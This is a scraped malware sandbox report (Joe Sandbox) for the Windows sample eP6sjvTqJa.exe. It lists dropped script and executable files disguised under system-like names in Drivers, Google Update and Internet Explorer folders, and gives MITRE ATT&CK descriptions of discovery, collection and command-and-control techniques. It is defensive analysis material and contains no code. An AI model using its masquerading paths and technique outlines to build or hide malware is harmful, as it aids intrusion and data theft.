Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report eP6sjvTqJa.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Initial Sample

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Persistence and Installation Behavior

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Drivers\5b884080fd4f94

C:\Drivers\SE7AQJDJtAMXQraxpdEvOEZ68dJxrB3UY7MvAzdsW8.bat

C:\Drivers\fontdrvhost.exe

C:\Drivers\tovs28pB6Vd1SzaEcRy6OtKi8G4GdEOG4Cet.vbe

C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\fdadf3e88d0159

C:\Program Files\Internet Explorer\en-US\088424020bedd6

C:\Program Files\Internet Explorer\en-US\conhost.exe

C:\Users\Default\AppData\Local\Microsoft\Windows\History\AdbXCBUViTnoVBSsOq.exe

C:\Users\Default\AppData\Local\Microsoft\Windows\History\fdadf3e88d0159

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\AdbXCBUViTnoVBSsOq.exe.log

Windows Analysis Report
eP6sjvTqJa.exe

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre